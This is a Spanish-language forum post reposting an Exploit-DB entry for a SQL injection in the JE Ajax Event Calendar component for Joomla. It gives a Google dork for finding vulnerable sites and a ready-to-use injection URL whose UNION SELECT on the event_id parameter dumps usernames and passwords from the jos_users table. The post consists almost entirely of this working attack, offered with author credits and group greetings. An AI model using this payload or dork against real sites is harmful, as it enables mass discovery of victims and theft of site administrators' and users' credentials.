Para ver Todo el contenido del foro es necesario estar Registrado! 
Jue Nov 25, 2010 7:33 pm
- Código:
# Vendor:
http://joomlaextensions.co.in/extensions/components/je-ajax-event-calender.html
# Download:
http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/12110
# Author: altbta
# Contact: l_9[at]Hotmail[Dot]com
# Home: http://xp10.com
# Thanks to: rxh xp10.com >> v4-team.com >> p0c.cc :))
==========================================================================
[+] Dork: inurl:"index.php?option=com_jeajaxeventcalendar"
==========================================================================
[+] exploit:
http://127.168.1.1/index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4/**/from/**/jos_users--
==========================================================================
Fuente: Exploit-DB
